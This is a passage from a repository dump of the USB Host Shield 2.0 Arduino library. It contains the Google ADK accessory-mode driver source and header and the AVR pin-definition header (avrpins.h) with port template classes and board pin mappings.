ADK_PID || udd->idProduct == ADB_PID)) {\n                USBTRACE(\"\\r\\nAcc.mode device detected\");\n                /* go through configurations, find first bulk-IN, bulk-OUT EP, fill epInfo and quit */\n                num_of_conf = udd->bNumConfigurations;\n\n                //USBTRACE2(\"\\r\\nNC:\",num_of_conf);\n                for(uint8_t i = 0; i < num_of_conf; i++) {\n                        ConfigDescParser < 0, 0, 0, 0 > confDescrParser(this);\n                        delay(1);\n                        rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser);\n#if defined(XOOM)\n                        //added by Jaylen Scott Vanorden\n                        if(rcode) {\n                                USBTRACE2(\"\\r\\nGot 1st bad code for config: \", rcode);\n                                // Try once more\n                                rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser);\n                        }\n#endif\n                        if(rcode) {\n                                goto FailGetConfDescr;\n                        }\n                        if(bNumEP > 2) {\n                                break;\n                        }\n                } // for (uint8_t i=0; i<num_of_conf; i++...\n\n                if(bNumEP == 3) {\n                        // Assign epInfo to epinfo pointer - this time all 3 endpoins\n                        rcode = pUsb->setEpInfoEntry(bAddress, 3, epInfo);\n                        if(rcode) {\n                                goto FailSetDevTblEntry;\n                        }\n                }\n\n                // Set Configuration Value\n                rcode = pUsb->setConf(bAddress, 0, bConfNum);\n                if(rcode) {\n                        goto FailSetConfDescr;\n                }\n                /* print endpoint structure */\n                /*\n                USBTRACE(\"\\r\\nEndpoint Structure:\");\n                USBTRACE(\"\\r\\nEP0:\");\n                USBTRACE2(\"\\r\\nAddr: \", epInfo[0].epAddr);\n                USBTRACE2(\"\\r\\nMax.pkt.size: \", epInfo[0].maxPktSize);\n                USBTRACE2(\"\\r\\nAttr: \", epInfo[0].epAttribs);\n                USBTRACE(\"\\r\\nEpout:\");\n                USBTRACE2(\"\\r\\nAddr: \", epInfo[epDataOutIndex].epAddr);\n                USBTRACE2(\"\\r\\nMax.pkt.size: \", epInfo[epDataOutIndex].maxPktSize);\n                USBTRACE2(\"\\r\\nAttr: \", epInfo[epDataOutIndex].epAttribs);\n                USBTRACE(\"\\r\\nEpin:\");\n                USBTRACE2(\"\\r\\nAddr: \", epInfo[epDataInIndex].epAddr);\n                USBTRACE2(\"\\r\\nMax.pkt.size: \", epInfo[epDataInIndex].maxPktSize);\n                USBTRACE2(\"\\r\\nAttr: \", epInfo[epDataInIndex].epAttribs);\n                 */\n\n                USBTRACE(\"\\r\\nConfiguration successful\");\n                ready = true;\n                return 0; //successful configuration\n        }//if( buf->idVendor == ADK_VID...\n\n        //probe device - get accessory protocol revision\n        {\n                uint16_t adkproto = -1;\n                delay(1);\n                rcode = getProto((uint8_t*) & adkproto);\n#if defined(XOOM)\n                //added by Jaylen Scott Vanorden\n                if(rcode) {\n                        USBTRACE2(\"\\r\\nGot 1st bad code for proto: \", rcode);\n                        // Try once more\n                        rcode = getProto((uint8_t*) & adkproto);\n                }\n#endif\n                if(rcode) {\n                        goto FailGetProto; //init fails\n                }\n                USBTRACE2(\"\\r\\nADK protocol rev. \", adkproto);\n        }\n\n        delay(100);\n\n        //sending ID strings\n        sendStr(ACCESSORY_STRING_MANUFACTURER, manufacturer);\n        delay(10);\n        sendStr(ACCESSORY_STRING_MODEL, model);\n        delay(10);\n        sendStr(ACCESSORY_STRING_DESCRIPTION, description);\n        delay(10);\n        sendStr(ACCESSORY_STRING_VERSION, version);\n        delay(10);\n        sendStr(ACCESSORY_STRING_URI, uri);\n        delay(10);\n        sendStr(ACCESSORY_STRING_SERIAL, serial);\n\n        delay(100);\n\n        //switch to accessory mode\n        //the Android phone will reset\n        rcode = switchAcc();\n        if(rcode) {\n                goto FailSwAcc; //init fails\n        }\n        rcode = USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET;\n        delay(100); // Give Android a chance to do its reset. This is a guess, and possibly could be lower.\n        goto SwAttempt; //switch to accessory mode attempted\n\n        /* diagnostic messages */\nFailGetDevDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetDevDescr(rcode);\n        goto Fail;\n#endif\n\nFailSetDevTblEntry:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetDevTblEntry(rcode);\n        goto Fail;\n#endif\n\nFailGetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetConfDescr(rcode);\n        goto Fail;\n#endif\n\nFailSetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetConfDescr(rcode);\n        goto Fail;\n#endif\n\nFailGetProto:\n#ifdef DEBUG_USB_HOST\n        USBTRACE(\"\\r\\ngetProto:\");\n        goto Fail;\n#endif\n\nFailSwAcc:\n#ifdef DEBUG_USB_HOST\n        USBTRACE(\"\\r\\nswAcc:\");\n        goto Fail;\n#endif\n\n        //FailOnInit:\n        //        USBTRACE(\"OnInit:\");\n        //        goto Fail;\n        //\nSwAttempt:\n#ifdef DEBUG_USB_HOST\n        USBTRACE(\"\\r\\nAccessory mode switch attempt\");\nFail:\n#endif\n        //USBTRACE2(\"\\r\\nADK Init Failed, error code: \", rcode);\n        //NotifyFail(rcode);\n        Release();\n        return rcode;\n}\n\n/* Extracts bulk-IN and bulk-OUT endpoint information from config descriptor */\nvoid ADK::EndpointXtract(uint8_t conf, uint8_t iface __attribute__((unused)), uint8_t alt __attribute__((unused)), uint8_t proto __attribute__((unused)), const USB_ENDPOINT_DESCRIPTOR *pep) {\n        //ErrorMessage<uint8_t>(PSTR(\"Conf.Val\"), conf);\n        //ErrorMessage<uint8_t>(PSTR(\"Iface Num\"), iface);\n        //ErrorMessage<uint8_t>(PSTR(\"Alt.Set\"), alt);\n\n        //added by Yuuichi Akagawa\n        if(bNumEP == 3) {\n                return;\n        }\n\n        bConfNum = conf;\n\n        if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_BULK) {\n                uint8_t index = ((pep->bEndpointAddress & 0x80) == 0x80) ? epDataInIndex : epDataOutIndex;\n                // Fill in the endpoint info structure\n                epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F);\n                epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize;\n\n                bNumEP++;\n\n                //PrintEndpointDescriptor(pep);\n        }\n}\n\n/* Performs a cleanup after failed Init() attempt */\nuint8_t ADK::Release() {\n        pUsb->GetAddressPool().FreeAddress(bAddress);\n\n        bNumEP = 1; //must have to be reset to 1\n\n        bAddress = 0;\n        ready = false;\n        return 0;\n}\n\nuint8_t ADK::RcvData(uint16_t *bytes_rcvd, uint8_t *dataptr) {\n        //USBTRACE2(\"\\r\\nAddr: \", bAddress );\n        //USBTRACE2(\"\\r\\nEP: \",epInfo[epDataInIndex].epAddr);\n        return pUsb->inTransfer(bAddress, epInfo[epDataInIndex].epAddr, bytes_rcvd, dataptr);\n}\n\nuint8_t ADK::SndData(uint16_t nbytes, uint8_t *dataptr) {\n        return pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, nbytes, dataptr);\n}\n\nvoid ADK::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr) {\n        Notify(PSTR(\"Endpoint descriptor:\"), 0x80);\n        Notify(PSTR(\"\\r\\nLength:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bLength, 0x80);\n        Notify(PSTR(\"\\r\\nType:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bDescriptorType, 0x80);\n        Notify(PSTR(\"\\r\\nAddress:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bEndpointAddress, 0x80);\n        Notify(PSTR(\"\\r\\nAttributes:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bmAttributes, 0x80);\n        Notify(PSTR(\"\\r\\nMaxPktSize:\\t\"), 0x80);\n        D_PrintHex<uint16_t > (ep_ptr->wMaxPacketSize, 0x80);\n        Notify(PSTR(\"\\r\\nPoll Intrv:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bInterval, 0x80);\n        Notify(PSTR(\"\\r\\n\"), 0x80);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/adk.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n/* Google ADK interface support header */\n\n#if !defined(_ADK_H_)\n#define _ADK_H_\n\n#include \"Usb.h\"\n\n#define ADK_VID   0x18D1\n#define ADK_PID   0x2D00\n#define ADB_PID   0x2D01\n\n#define XOOM  //enables repeating getProto() and getConf() attempts\n//necessary for slow devices such as Motorola XOOM\n//defined by default, can be commented out to save memory\n\n/* requests */\n\n#define ADK_GETPROTO      51  //check USB accessory protocol version\n#define ADK_SENDSTR       52  //send identifying string\n#define ADK_ACCSTART      53  //start device in accessory mode\n\n#define bmREQ_ADK_GET     USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_VENDOR|USB_SETUP_RECIPIENT_DEVICE\n#define bmREQ_ADK_SEND    USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_VENDOR|USB_SETUP_RECIPIENT_DEVICE\n\n#define ACCESSORY_STRING_MANUFACTURER   0\n#define ACCESSORY_STRING_MODEL          1\n#define ACCESSORY_STRING_DESCRIPTION    2\n#define ACCESSORY_STRING_VERSION        3\n#define ACCESSORY_STRING_URI            4\n#define ACCESSORY_STRING_SERIAL         5\n\n#define ADK_MAX_ENDPOINTS 3 //endpoint 0, bulk_IN, bulk_OUT\n\nclass ADK;\n\nclass ADK : public USBDeviceConfig, public UsbConfigXtracter {\nprivate:\n        /* ID strings */\n        const char* manufacturer;\n        const char* model;\n        const char* description;\n        const char* version;\n        const char* uri;\n        const char* serial;\n\n        /* ADK proprietary requests */\n        uint8_t getProto(uint8_t* adkproto);\n        uint8_t sendStr(uint8_t index, const char* str);\n        uint8_t switchAcc(void);\n\nprotected:\n        static const uint8_t epDataInIndex; // DataIn endpoint index\n        static const uint8_t epDataOutIndex; // DataOUT endpoint index\n\n        /* mandatory members */\n        USB *pUsb;\n        uint8_t bAddress;\n        uint8_t bConfNum; // configuration number\n\n        uint8_t bNumEP; // total number of EP in the configuration\n        bool ready;\n\n        /* Endpoint data structure */\n        EpInfo epInfo[ADK_MAX_ENDPOINTS];\n\n        void PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr);\n\npublic:\n        ADK(USB *pUsb, const char* manufacturer,\n                const char* model,\n                const char* description,\n                const char* version,\n                const char* uri,\n                const char* serial);\n\n        // Methods for receiving and sending data\n        uint8_t RcvData(uint16_t *nbytesptr, uint8_t *dataptr);\n        uint8_t SndData(uint16_t nbytes, uint8_t *dataptr);\n\n\n        // USBDeviceConfig implementation\n        uint8_t ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed);\n        uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        uint8_t Release();\n\n        virtual uint8_t Poll() {\n                return 0;\n        };\n\n        virtual uint8_t GetAddress() {\n                return bAddress;\n        };\n\n        virtual bool isReady() {\n                return ready;\n        };\n\n        virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {\n                return (vid == ADK_VID && (pid == ADK_PID || pid == ADB_PID));\n        };\n\n        //UsbConfigXtracter implementation\n        void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep);\n}; //class ADK : public USBDeviceConfig ...\n\n/* get ADK protocol version */\n\n/* returns 2 bytes in *adkproto */\ninline uint8_t ADK::getProto(uint8_t* adkproto) {\n        return ( pUsb->ctrlReq(bAddress, 0, bmREQ_ADK_GET, ADK_GETPROTO, 0, 0, 0, 2, 2, adkproto, NULL));\n}\n\n/* send ADK string */\ninline uint8_t ADK::sendStr(uint8_t index, const char* str) {\n        return ( pUsb->ctrlReq(bAddress, 0, bmREQ_ADK_SEND, ADK_SENDSTR, 0, 0, index, strlen(str) + 1, strlen(str) + 1, (uint8_t*)str, NULL));\n}\n\n/* switch to accessory mode */\ninline uint8_t ADK::switchAcc(void) {\n        return ( pUsb->ctrlReq(bAddress, 0, bmREQ_ADK_SEND, ADK_ACCSTART, 0, 0, 0, 0, 0, NULL, NULL));\n}\n\n#endif // _ADK_H_\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/avrpins.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n/* derived from Konstantin Chizhov's AVR port templates */\n\n#if !defined(_usb_h_) || defined(_avrpins_h_)\n#error \"Never include avrpins.h directly; include Usb.h instead\"\n#else\n#define _avrpins_h_\n\n#if defined(__AVR__)\n\n// pointers are 16 bits on AVR\n#define pgm_read_pointer(p) pgm_read_word(p)\n\n// Support for these boards needs to be manually activated in settings.h or in a makefile\n#if !defined(BOARD_MEGA_ADK) && defined(__AVR_ATmega2560__) && (USE_UHS_MEGA_ADK || defined(ARDUINO_AVR_ADK))\n#define BOARD_MEGA_ADK\n#elif !defined(BOARD_BLACK_WIDDOW) && USE_UHS_BLACK_WIDDOW\n#define BOARD_BLACK_WIDDOW\n#endif\n\n#ifdef PORTA\n#define USE_PORTA\n#endif\n#ifdef PORTB\n#define USE_PORTB\n#endif\n#ifdef PORTC\n#define USE_PORTC\n#endif\n#ifdef PORTD\n#define USE_PORTD\n#endif\n#ifdef PORTE\n#define USE_PORTE\n#endif\n#ifdef PORTF\n#define USE_PORTF\n#endif\n#ifdef PORTG\n#define USE_PORTG\n#endif\n#ifdef PORTH\n#define USE_PORTH\n#endif\n#ifdef PORTJ\n#define USE_PORTJ\n#endif\n#ifdef PORTK\n#define USE_PORTK\n#endif\n#ifdef PORTL\n#define USE_PORTL\n#endif\n#ifdef PORTQ\n#define USE_PORTQ\n#endif\n#ifdef PORTR\n#define USE_PORTR\n#endif\n\n#ifdef TCCR0A\n#define USE_TCCR0A\n#endif\n#ifdef TCCR1A\n#define USE_TCCR1A\n#endif\n#ifdef TCCR2A\n#define USE_TCCR2A\n#endif\n\n//Port definitions for AtTiny, AtMega families.\n\n#define MAKE_PORT(portName, ddrName, pinName, className, ID) \\\n    class className{\\\n    public:\\\n      typedef uint8_t DataT;\\\n    public:\\\n      static void Write(DataT value){portName = value;}\\\n      static void ClearAndSet(DataT clearMask, DataT value){portName = (portName & ~clearMask) | value;}\\\n      static DataT Read(){return portName;}\\\n      static void DirWrite(DataT value){ddrName = value;}\\\n      static DataT DirRead(){return ddrName;}\\\n      static void Set(DataT value){portName |= value;}\\\n      static void Clear(DataT value){portName &= ~value;}\\\n      static void Toggle(DataT value){portName ^= value;}\\\n      static void DirSet(DataT value){ddrName |= value;}\\\n      static void DirClear(DataT value){ddrName &= ~value;}\\\n      static void DirToggle(DataT value){ddrName ^= value;}\\\n      static DataT PinRead(){return pinName;}\\\n      enum{Id = ID};\\\n      enum{Width=sizeof(DataT)*8};\\\n    };\n\n// TCCR registers to set/clear Arduino PWM\n#define MAKE_TCCR(TccrName, className) \\\n    class className{\\\n    public:\\\n      typedef uint8_t DataT;\\\n    public:\\\n      static void Write(DataT value){TccrName = value;}\\\n      static void ClearAndSet(DataT clearMask, DataT value){TccrName = (TccrName & ~clearMask) | value;}\\\n      static DataT Read(){return TccrName;}\\\n      static void Set(DataT value){TccrName |= value;}\\\n      static void Clear(DataT value){TccrName &= ~value;}\\\n      static void Toggle(DataT value){TccrName ^= value;}\\\n      enum{Width=sizeof(DataT)*8};\\\n    };\n\n#ifdef USE_PORTA\n\nMAKE_PORT(PORTA, DDRA, PINA, Porta, 'A')\n#endif\n#ifdef USE_PORTB\nMAKE_PORT(PORTB, DDRB, PINB, Portb, 'B')\n#endif\n#ifdef USE_PORTC\nMAKE_PORT(PORTC, DDRC, PINC, Portc, 'C')\n#endif\n#ifdef USE_PORTD\nMAKE_PORT(PORTD, DDRD, PIND, Portd, 'D')\n#endif\n#ifdef USE_PORTE\nMAKE_PORT(PORTE, DDRE, PINE, Porte, 'E')\n#endif\n#ifdef USE_PORTF\nMAKE_PORT(PORTF, DDRF, PINF, Portf, 'F')\n#endif\n#ifdef USE_PORTG\nMAKE_PORT(PORTG, DDRG, PING, Portg, 'G')\n#endif\n#ifdef USE_PORTH\nMAKE_PORT(PORTH, DDRH, PINH, Porth, 'H')\n#endif\n#ifdef USE_PORTJ\nMAKE_PORT(PORTJ, DDRJ, PINJ, Portj, 'J')\n#endif\n#ifdef USE_PORTK\nMAKE_PORT(PORTK, DDRK, PINK, Portk, 'K')\n#endif\n#ifdef USE_PORTL\nMAKE_PORT(PORTL, DDRL, PINL, Portl, 'L')\n#endif\n#ifdef USE_PORTQ\nMAKE_PORT(PORTQ, DDRQ, PINQ, Portq, 'Q')\n#endif\n#ifdef USE_PORTR\nMAKE_PORT(PORTR, DDRR, PINR, Portr, 'R')\n#endif\n\n#ifdef USE_TCCR0A\nMAKE_TCCR(TCCR0A, Tccr0a)\n#endif\n#ifdef USE_TCCR1A\nMAKE_TCCR(TCCR1A, Tccr1a)\n#endif\n#ifdef USE_TCCR2A\nMAKE_TCCR(TCCR2A, Tccr2a)\n#endif\n\n// this class represents one pin in a IO port.\n// It is fully static.\ntemplate<typename PORT, uint8_t PIN>\nclass TPin {\n        //    BOOST_STATIC_ASSERT(PIN < PORT::Width);\npublic:\n        typedef PORT Port;\n\n        enum {\n                Number = PIN\n        };\n\n        static void Set() {\n                PORT::Set(1 << PIN);\n        }\n\n        static void Set(uint8_t val) {\n                if(val)\n                        Set();\n                else Clear();\n        }\n\n        static void SetDir(uint8_t val) {\n                if(val)\n                        SetDirWrite();\n                else SetDirRead();\n        }\n\n        static void Clear() {\n                PORT::Clear(1 << PIN);\n        }\n\n        static void Toggle() {\n                PORT::Toggle(1 << PIN);\n        }\n\n        static void SetDirRead() {\n                PORT::DirClear(1 << PIN);\n        }\n\n        static void SetDirWrite() {\n                PORT::DirSet(1 << PIN);\n        }\n\n        static uint8_t IsSet() {\n                return PORT::PinRead() & (uint8_t)(1 << PIN);\n        }\n\n        static void WaiteForSet() {\n                while(IsSet() == 0) {\n                }\n        }\n\n        static void WaiteForClear() {\n                while(IsSet()) {\n                }\n        }\n}; //class TPin...\n\n// this class represents one bit in TCCR port.\n// used to set/clear TCCRx bits\n// It is fully static.\n\ntemplate<typename TCCR, uint8_t COM>\nclass TCom {\n        //    BOOST_STATIC_ASSERT(PIN < PORT::Width);\npublic:\n        typedef TCCR Tccr;\n\n        enum {\n                Com = COM\n        };\n\n        static void Set() {\n                TCCR::Set(1 << COM);\n        }\n\n        static void Clear() {\n                TCCR::Clear(1 << COM);\n        }\n\n        static void Toggle() {\n                TCCR::Toggle(1 << COM);\n        }\n}; //class TCom...\n\n//Short pin definitions\n#ifdef USE_PORTA\ntypedef TPin<Porta, 0 > Pa0;\ntypedef TPin<Porta, 1 > Pa1;\ntypedef TPin<Porta, 2 > Pa2;\ntypedef TPin<Porta, 3 > Pa3;\ntypedef TPin<Porta, 4 > Pa4;\ntypedef TPin<Porta, 5 > Pa5;\ntypedef TPin<Porta, 6 > Pa6;\ntypedef TPin<Porta, 7 > Pa7;\n#endif\n\n#ifdef USE_PORTB\ntypedef TPin<Portb, 0 > Pb0;\ntypedef TPin<Portb, 1 > Pb1;\ntypedef TPin<Portb, 2 > Pb2;\ntypedef TPin<Portb, 3 > Pb3;\ntypedef TPin<Portb, 4 > Pb4;\ntypedef TPin<Portb, 5 > Pb5;\ntypedef TPin<Portb, 6 > Pb6;\ntypedef TPin<Portb, 7 > Pb7;\n#endif\n\n#ifdef USE_PORTC\ntypedef TPin<Portc, 0 > Pc0;\ntypedef TPin<Portc, 1 > Pc1;\ntypedef TPin<Portc, 2 > Pc2;\ntypedef TPin<Portc, 3 > Pc3;\ntypedef TPin<Portc, 4 > Pc4;\ntypedef TPin<Portc, 5 > Pc5;\ntypedef TPin<Portc, 6 > Pc6;\ntypedef TPin<Portc, 7 > Pc7;\n#endif\n\n#ifdef USE_PORTD\ntypedef TPin<Portd, 0 > Pd0;\ntypedef TPin<Portd, 1 > Pd1;\ntypedef TPin<Portd, 2 > Pd2;\ntypedef TPin<Portd, 3 > Pd3;\ntypedef TPin<Portd, 4 > Pd4;\ntypedef TPin<Portd, 5 > Pd5;\ntypedef TPin<Portd, 6 > Pd6;\ntypedef TPin<Portd, 7 > Pd7;\n#endif\n\n#ifdef USE_PORTE\ntypedef TPin<Porte, 0 > Pe0;\ntypedef TPin<Porte, 1 > Pe1;\ntypedef TPin<Porte, 2 > Pe2;\ntypedef TPin<Porte, 3 > Pe3;\ntypedef TPin<Porte, 4 > Pe4;\ntypedef TPin<Porte, 5 > Pe5;\ntypedef TPin<Porte, 6 > Pe6;\ntypedef TPin<Porte, 7 > Pe7;\n#endif\n\n#ifdef USE_PORTF\ntypedef TPin<Portf, 0 > Pf0;\ntypedef TPin<Portf, 1 > Pf1;\ntypedef TPin<Portf, 2 > Pf2;\ntypedef TPin<Portf, 3 > Pf3;\ntypedef TPin<Portf, 4 > Pf4;\ntypedef TPin<Portf, 5 > Pf5;\ntypedef TPin<Portf, 6 > Pf6;\ntypedef TPin<Portf, 7 > Pf7;\n#endif\n\n#ifdef USE_PORTG\ntypedef TPin<Portg, 0 > Pg0;\ntypedef TPin<Portg, 1 > Pg1;\ntypedef TPin<Portg, 2 > Pg2;\ntypedef TPin<Portg, 3 > Pg3;\ntypedef TPin<Portg, 4 > Pg4;\ntypedef TPin<Portg, 5 > Pg5;\ntypedef TPin<Portg, 6 > Pg6;\ntypedef TPin<Portg, 7 > Pg7;\n#endif\n\n#ifdef USE_PORTH\ntypedef TPin<Porth, 0 > Ph0;\ntypedef TPin<Porth, 1 > Ph1;\ntypedef TPin<Porth, 2 > Ph2;\ntypedef TPin<Porth, 3 > Ph3;\ntypedef TPin<Porth, 4 > Ph4;\ntypedef TPin<Porth, 5 > Ph5;\ntypedef TPin<Porth, 6 > Ph6;\ntypedef TPin<Porth, 7 > Ph7;\n#endif\n\n#ifdef USE_PORTJ\ntypedef TPin<Portj, 0 > Pj0;\ntypedef TPin<Portj, 1 > Pj1;\ntypedef TPin<Portj, 2 > Pj2;\ntypedef TPin<Portj, 3 > Pj3;\ntypedef TPin<Portj, 4 > Pj4;\ntypedef TPin<Portj, 5 > Pj5;\ntypedef TPin<Portj, 6 > Pj6;\ntypedef TPin<Portj, 7 > Pj7;\n#endif\n\n#ifdef USE_PORTK\ntypedef TPin<Portk, 0 > Pk0;\ntypedef TPin<Portk, 1 > Pk1;\ntypedef TPin<Portk, 2 > Pk2;\ntypedef TPin<Portk, 3 > Pk3;\ntypedef TPin<Portk, 4 > Pk4;\ntypedef TPin<Portk, 5 > Pk5;\ntypedef TPin<Portk, 6 > Pk6;\ntypedef TPin<Portk, 7 > Pk7;\n#endif\n\n#ifdef USE_PORTL\ntypedef TPin<Portl, 0 > Pl0;\ntypedef TPin<Portl, 1 > Pl1;\ntypedef TPin<Portl, 2 > Pl2;\ntypedef TPin<Portl, 3 > Pl3;\ntypedef TPin<Portl, 4 > Pl4;\ntypedef TPin<Portl, 5 > Pl5;\ntypedef TPin<Portl, 6 > Pl6;\ntypedef TPin<Portl, 7 > Pl7;\n#endif\n\n#ifdef USE_PORTQ\ntypedef TPin<Portq, 0 > Pq0;\ntypedef TPin<Portq, 1 > Pq1;\ntypedef TPin<Portq, 2 > Pq2;\ntypedef TPin<Portq, 3 > Pq3;\ntypedef TPin<Portq, 4 > Pq4;\ntypedef TPin<Portq, 5 > Pq5;\ntypedef TPin<Portq, 6 > Pq6;\ntypedef TPin<Portq, 7 > Pq7;\n#endif\n\n#ifdef USE_PORTR\ntypedef TPin<Portr, 0 > Pr0;\ntypedef TPin<Portr, 1 > Pr1;\ntypedef TPin<Portr, 2 > Pr2;\ntypedef TPin<Portr, 3 > Pr3;\ntypedef TPin<Portr, 4 > Pr4;\ntypedef TPin<Portr, 5 > Pr5;\ntypedef TPin<Portr, 6 > Pr6;\ntypedef TPin<Portr, 7 > Pr7;\n#endif\n\n#ifdef USE_TCCR0A\ntypedef TCom<Tccr0a, COM0A1> Tc0a; //P6\ntypedef TCom<Tccr0a, COM0B1> Tc0b; //P5\n#endif\n\n#ifdef USE_TCCR1A\ntypedef TCom<Tccr1a, COM1A1> Tc1a; //P9\ntypedef TCom<Tccr1a, COM1B1> Tc1b; //P10\n#endif\n\n#ifdef USE_TCCR2A\ntypedef TCom<Tccr2a, COM2A1> Tc2a; //P11\ntypedef TCom<Tccr2a, COM2B1> Tc2b; //P3\n#endif\n\ntemplate<typename Tp_pin, typename Tc_bit>\nclass Tp_Tc {\npublic:\n\n        static void SetDir(uint8_t val) {\n                if(val)\n                        SetDirWrite();\n                else SetDirRead();\n        }\n\n        static void SetDirRead() {\n                Tp_pin::SetDirRead(); //set pin direction\n                Tc_bit::Clear(); //disconnect pin from PWM\n        }\n\n        static void SetDirWrite() {\n                Tp_pin::SetDirWrite();\n                Tc_bit::Clear();\n        }\n};\n\n/* pin definitions for cases where it's necessary to clear compare output mode bits */\n\n//typedef Tp_Tc<Pd3, Tc2b> P3;  //Arduino pin 3\n//typedef Tp_Tc<Pd5, Tc0b> P5;  //Arduino pin 5\n//typedef Tp_Tc<Pd6, Tc0a> P6;  //Arduino pin 6\n//typedef Tp_Tc<Pb1, Tc1a> P9;  //Arduino pin 9\n//typedef Tp_Tc<Pb2, Tc1b> P10;  //Arduino pin 10\n//typedef Tp_Tc<Pb3, Tc2a> P11;  //Arduino pin 11\n\n/* Arduino pin definitions  */\n#if defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)\n// \"Mega\" Arduino pin numbers\n\n#define P0  Pe0\n#define P1  Pe1\n#define P2  Pe4\n#define P3  Pe5\n#define P4  Pg5\n#define P5  Pe3\n#define P6  Ph3\n#define P7  Ph4\n\n#define P8  Ph5\n#define P9  Ph6\n#define P10  Pb4\n#define P11  Pb5\n#define P12  Pb6\n#define P13  Pb7\n\n#define P14  Pj1\n#define P15  Pj0\n#define P16  Ph1\n#define P17  Ph0\n#define P18  Pd3\n#define P19  Pd2\n#define P20  Pd1\n#define P21  Pd0\n\n#define P22 Pa0\n#define P23 Pa1\n#define P24 Pa2\n#define P25 Pa3\n#define P26 Pa4\n#define P27 Pa5\n#define P28 Pa6\n#define P29 Pa7\n#define P30 Pc7\n#define P31 Pc6\n#define P32 Pc5\n#define P33 Pc4\n#define P34 Pc3\n#define P35 Pc2\n#define P36 Pc1\n#define P37 Pc0\n\n#define P38 Pd7\n#define P39 Pg2\n#define P40 Pg1\n#define P41 Pg0\n#define P42 Pl7\n#define P43 Pl6\n#define P44 Pl5\n#define P45 Pl4\n#define P46 Pl3\n#define P47 Pl2\n#define P48 Pl1\n#define P49 Pl0\n#define P50 Pb3\n#define P51 Pb2\n#define P52 Pb1\n#define P53 Pb0\n\n#ifdef BOARD_MEGA_ADK // These pins are not broken out on the Arduino ADK\n#define P54 Pe6 // INT on Arduino ADK\n#define P55 Pj2 // MAX_RESET on Arduino ADK\n#endif\n\n// \"Mega\" pin numbers\n\n#elif defined(__AVR_ATmega168__) || defined(__AVR_ATmega328P__)\n// \"Classic\" Arduino pin numbers\n\n#define P0  Pd0\n#define P1  Pd1\n#define P2  Pd2\n#define P3  Pd3\n#define P4  Pd4\n#define P5  Pd5\n#define P6  Pd6\n#define P7  Pd7\n\n#define P8  Pb0\n#define P9  Pb1\n#define P10  Pb2\n#define P11  Pb3\n#define P12  Pb4\n#define P13  Pb5\n\n#define P14  Pc0\n#define P15  Pc1\n#define P16  Pc2\n#define P17  Pc3\n#define P18  Pc4\n#define P19  Pc5\n\n// \"Classic\" Arduino pin numbers\n\n#elif defined(CORE_TEENSY) && defined(__AVR_ATmega32U4__)\n// Teensy 2.0 pin numbers\n// http://www.pjrc.com/teensy/pinout.html\n#define P0  Pb0\n#define P1  Pb1\n#define P2  Pb2\n#define P3  Pb3\n#define P4  Pb7\n#define P5  Pd0\n#define P6  Pd1\n#define P7  Pd2\n#define P8  Pd3\n#define P9  Pc6\n#define P10 Pc7\n#define P11 Pd6\n#define P12 Pd7\n#define P13 Pb4\n#define P14 Pb5\n#define P15 Pb6\n#define P16 Pf7\n#define P17 Pf6\n#define P18 Pf5\n#define P19 Pf4\n#define P20 Pf1\n#define P21 Pf0\n#define P22 Pd4\n#define P23 Pd5\n#define P24 Pe6\n// Teensy 2.0\n\n#elif defined(__AVR_ATmega32U4__)\n// Arduino Leonardo pin numbers\n\n#define P0  Pd2 // D0 - PD2\n#define P1  Pd3 // D1 - PD3\n#define P2  Pd1 // D2 - PD1\n#define P3  Pd0 // D3 - PD0\n#define P4  Pd4 // D4 - PD4\n#define P5  Pc6 // D5 - PC6\n#define P6  Pd7 // D6 - PD7\n#define P7  